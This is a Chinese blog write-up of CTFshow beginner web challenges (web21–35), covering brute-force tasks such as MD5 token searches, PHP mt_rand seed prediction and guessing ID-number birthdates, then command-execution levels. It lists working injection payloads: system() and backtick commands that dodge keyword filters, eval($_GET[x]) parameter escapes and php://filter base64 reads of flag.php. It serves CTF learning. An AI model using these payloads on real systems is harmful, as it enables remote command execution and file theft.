CTFSHOW-WEB入门

使用工具:dirbsearch、
php随机数下载链接:https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz

靶场链接:

#一、ctfshow爆破
##web21

BP抓包跑字典这边加载了三个自定义载荷,有效载荷处理,取消有效载荷编码,使用的狙击模式,

##web22

这关就是爆破子域名,里面有一个vip.ctf.show,页面名称里面就有flag
##web23

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 11:43:51
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);  // 禁止显示错误报告,防止泄露敏感信息

include('flag.php');  // 包含 'flag.php' 文件,通常在该文件中会定义一个 $flag 变量(表示 CTF 挑战的目标)

// 检查是否通过 GET 请求提供了 'token' 参数
if (isset($_GET['token'])) {
    
    // 对提供的 token 进行 MD5 哈希运算,生成 32 字节的哈希值
    $token = md5($_GET['token']);
    
    // 条件 1:检查哈希值中第 2 位、15 位和 18 位字符是否相同
    // substr($token, 1,1) 取出哈希的第 2 个字符
    // substr($token, 14,1) 取出第 15 个字符
    // substr($token, 17,1) 取出第 18 个字符
    if (substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)) {
        
        // 条件 2:将第 2、15、18 位字符转为整数并相加,除以第 2 位的整数,结果需等于哈希的最后一位字符的整数
        // intval() 用于将字符转换为整数
        if ((intval(substr($token, 1,1)) + intval(substr($token, 14,1)) + substr($token, 17,1)) / substr($token, 1,1) === intval(substr($token, 31,1))) {
            
            // 如果条件 1 和条件 2 都满足,输出 $flag
            echo $flag;
        }
    }
} else {
    // 如果没有提供 'token' 参数,显示当前文件的源代码
    highlight_file(__FILE__);
}

?>

这个代码通过对输入的 token 进行 MD5 哈希运算,并对特定字符进行判断,条件满足后会输出 CTF 的 flag,使用python脚本进行爆破

import hashlib  # 导入 hashlib 模块,用于生成 MD5 哈希值

# 定义字符集合,包含数字和字母的组合
a = "0123456789qwertyuiopasdfghjklzxcvbnm"

# 使用双重循环遍历字符集合中的每个字符组合(两位)
for i in a:
    for j in a:
        # 将两个字符拼接成字符串,然后编码为字节格式(用于 MD5 哈希)
        b = (str(i) + str(j)).encode("utf-8")

        # 生成字符串 b 的 MD5 哈希,并将哈希结果转换为 32 位的十六进制字符串
        m = hashlib.md5(b).hexdigest()

        # 检查 m 的特定位置上的字符是否都是数字
        if m[1:2].isdigit() and m[14:15].isdigit() and m[17:18].isdigit() and m[31:32].isdigit():
            # 条件 1:哈希值中第 2 位(索引 1)字符、 第 15 位(索引 14)字符、 第 18 位(索引 17)字符必须相同
            if m[1:2] == m[14:15] and m[14:15] == m[17:18]:

                # 条件 2:这几个字符的整数和除以第 2 位字符的整数结果必须等于哈希值的最后一位字符的整数
                if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
                    # 如果条件都满足,输出满足条件的字符组合(原始的两个字符字节形式)
                    print('结果为:',b)
#结果为:3j

GET token=3j即可出flag

##web24

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 13:26:39
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);  // 禁止显示错误报告,防止泄露敏感信息

include("flag.php");  // 包含 'flag.php' 文件,通常在该文件中会定义一个 $flag 变量(表示 CTF 挑战的目标)

// 检查是否通过 GET 请求提供了 'r' 参数
if (isset($_GET['r'])) {
    $r = $_GET['r'];  // 获取 GET 请求中的 'r' 参数
    
    mt_srand(372619038);  // 设置随机数生成器的种子,确保生成的随机数可预测
    
    // 将 'r' 参数转换为整数,并与生成的随机数进行比较
    if (intval($r) === intval(mt_rand())) {
        // 如果相等,输出 $flag
        echo $flag;
    }
} else {
    // 如果没有提供 'r' 参数,显示当前文件的源代码
    highlight_file(__FILE__);
    
    // 显示服务器操作系统版本信息
    echo system('cat /proc/version');
}

?>

利用 Python 或其他编程语言模拟 PHP 的随机数生成器,使用相同的种子,生成随机数,并用它与 r 进行比较。构造 GET 请求,通过请求中带上正确的 r 参数来获取 flag

<?php
mt_srand(372619038); 
//赋值给$a,intval — 获取变量的整数值
$a = intval(mt_rand());
echo $a;
//1155388967

最后拿到flag

##web25

题目代码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 14:00:00
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-03 14:30:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include("flag.php");  // 包含一个 PHP 文件,其中包含 $flag 的值

if (isset($_GET['r'])) {  // 检查 GET 请求中是否有 'r' 参数
    $r = $_GET['r'];  // 获取 'r' 参数的值

    // 使用 $flag 的 MD5 哈希值的前8个字符来设置随机数种子
    // hexdec() 将 MD5 的子串转换为十六进制数
    mt_srand(hexdec(substr(md5($flag), 0, 8)));

    // 生成一个随机数 mt_rand(),并将 'r' 参数与生成的随机数进行比较
    // 如果两者相等,$rand 的值应为 0
    $rand = intval($r) - intval(mt_rand());

    if ((!$rand)) {  // 如果 $rand 为 0,则意味着 'r' 与生成的随机数相等
        // 检查 Cookie 中的 'token' 值是否等于两个 mt_rand() 随机数的和
        if ($_COOKIE['token'] == (mt_rand() + mt_rand())) {
            echo $flag;  // 如果条件满足,输出 flag
        }
    } else {
        // 如果 'r' 参数不匹配生成的随机数,输出 $rand 的值(用于调试或提示)
        echo $rand;
    }
} else {
    // 如果 'r' 参数未设置,显示当前文件的源代码并输出系统版本信息
    highlight_file(__FILE__);  // 高亮显示当前 PHP 文件的源代码
    echo system('cat /proc/version');  // 输出系统版本信息
}

?>

##web26

提交空数据,抓包就能看到flag

##web27

在信息收集中发现系统可以使用,姓名和查询,同时获取到了身份证的前几位,需要爆破身份证的年月日,如此下是python脚本

# 身份证的固定部分
id_head = 621022  # 身份证的前6位,一般代表地区代码
id_reap = 5237    # 身份证的最后4位,通常是随机数或其他编码
year = 1989       # 起始年份

# 打开文件 'id.txt' 进行写入操作
fp = open('id.txt', 'w')

# 外层循环,遍历年份。范围是1989到1990(不包括1991)
for i in range(year, 1991):  
    # 中层循环,遍历月份。范围是1到12月
    for month in range(1, 13):  
        # 内层循环,遍历日期。范围是1到31日
        for day in range(1, 32):  
            # 检查日期组合的有效性,避免无效的日期(例如2月30日等)
            try:
                # 如果日期和月份均小于10,拼接时补0,例如"01"、"02"
                if day < 10 and month < 10:
                    # 生成身份证号码:前缀 + 年份 + 月份 + 日期 + 后缀
                    id = str(id_head) + str(i) + "0" + str(month) + "0" + str(day) + str(id_reap) + "\n"
                # 如果只有日期小于10,则只给日期补0
                elif day < 10:
                    id = str(id_head) + str(i) + str(month) + "0" + str(day) + str(id_reap) + "\n"
                # 如果只有月份小于10,则只给月份补0
                elif month < 10:
                    id = str(id_head) + str(i) + "0" + str(month) + str(day) + str(id_reap) + "\n"
                # 如果日期和月份都大于等于10,则不需要补0,直接拼接
                else:
                    id = str(id_head) + str(i) + str(month) + str(day) + str(id_reap) + "\n"
                
                # 将生成的身份证号写入文件
                fp.write(id)

            except ValueError:
                # 如果遇到无效日期(如2月30日),跳过该日期,继续下一个
                continue

# 写入完成后,关闭文件
fp.close()

输入学号和身份证后得到flag

##web28

看到0和1,尝试对它们进行爆破,爆破的时候需要将2.txt给删了最终爆破获得flag

#二、ctfshow命令执行
##web29-参数过滤

<?php

/*
# -*- coding: utf-8 -*-          # 指定文件编码为 UTF-8
# @Author: h1xa                 # 作者信息
# @Date:   2020-09-04 00:12:34  # 创建日期
# @Last Modified by:   h1xa     # 最后修改的作者
# @Last Modified time: 2020-09-04 00:26:48  # 最后修改时间
# @email: h1xa@ctfer.com        # 作者的电子邮件地址
# @link: https://ctfer.com      # 作者的链接或个人网站
*/

# 关闭错误报告,以防止 PHP 报错信息泄露
error_reporting(0);

# 检查 GET 请求中是否存在参数 'c'
if (isset($_GET['c'])) {

    # 将参数 'c' 的值存储到变量 $c 中
    $c = $_GET['c'];

    # 使用正则表达式检查参数 $c 中是否包含字符串 "flag"(忽略大小写)
    # 如果 $c 中不包含 "flag",则继续执行
    if (!preg_match("/flag/i", $c)) {
        # 使用 eval 函数执行参数 $c 中的代码
        eval($c);  
    }

} else {
    # 如果没有传递 'c' 参数,显示当前 PHP 文件的源代码
    highlight_file(__FILE__);
}

试了半圈后,网站根目录下名为 flag.php,对于过滤了 flag 关键字,我们可以使用system函数 如下方法绕过:(tac nl)

?c=system("tac fla*");
?c=system("nl fla?.php");
?c=system("nl fla*");
?c=system("nl fla[e-g].php");
?c=system("nl fla[g].php");
?c=system("nl fla''g.php");
?c=system("nl fla``g.php");
?c=system("nl fla\g.php");
?c=system("nl fla${x}g.php");

最后拿到flag

##web30-参数过滤

通过代码审计发现不区分大小写的过滤了 flag、system、php 等关键字。可以通过more、less、tac、/bin/ca*方法绕过,并且拿到是利用了 PHP 的flag, php://filter 包装器是通过 include() 函数读取指定文件(flag.php)的内容并将其以 Base64 编码的方式输出:

?c=echo%20`nl%20fla*.ph*`; 
?c=echo%20%60tac%20fla*.ph*%60%3B
?c=echo%09`more%09fla*`;
?c=echo%09`less%09fla*`;
?c=echo%09`/bin/ca*%09fla*`; 
//php://filter/read=convert.base64-encode/resource=flag.php 表示以流的方式读取 flag.php 文件,并将读取到的内容转换为 Base64 编码格式
?c=$a='fla';$b='g.';$c='ph';$d='p';include("{$c}{$d}://filter/read=convert.base64-encode/resource={$a}{$b}{$c}{$d}");

最后拿到flag

##web31-参数过滤

//c=eval($_GET[1]);:这是PHP代码,使用了eval()函数,该函数将字符串作为PHP代码执行。
//$_GET[1]从GET请求中获取参数1的值,将其作为字符串传递给eval(),并执行该字符串作为PHP代码,
//system()函数在PHP中用于执行外部程序命令,而tac是一个Linux命令,用于倒序输出flag文件内容,最后拿到flag
?c=eval($_GET[1]);&1=system("tac flag.php");
//过滤了flag,system,php,cat,sort,shell,点号,空格,单引号,eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[x]);&x=phpinfo();
?c=eval($_GET[x]);&x=system('cp f* 1.txt');


##32-参数过滤

//伪协议  php://filter/convert.base64-encode/resource=flag.php的功能是读取文件flag.php,并将其内容进行
//Base64编码后输出。这种方法通常用于规避某些文件读取的限制,尤其是当直接读取文件可能被阻止时,通过
//Base64编码可以让攻击者以编码后的形式获取文件内容,然后在本地解码以恢复原始内容。
?>&a=php://filter/convert.base64-encode/resource=flag.php


##33-参数过滤

?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php


##34-参数过滤

过滤了flag、system、php、cat、sort、shell、点号、空格、单引号、反引号、echo、分号、左括号、冒号、双引号

//这个和33一样
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php


##35-参数过滤

//这个和前面的两个一样
?c=require%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

posted @ 2024-10-12 08:42  AuriGe  阅读(62)  评论(0编辑  收藏  举报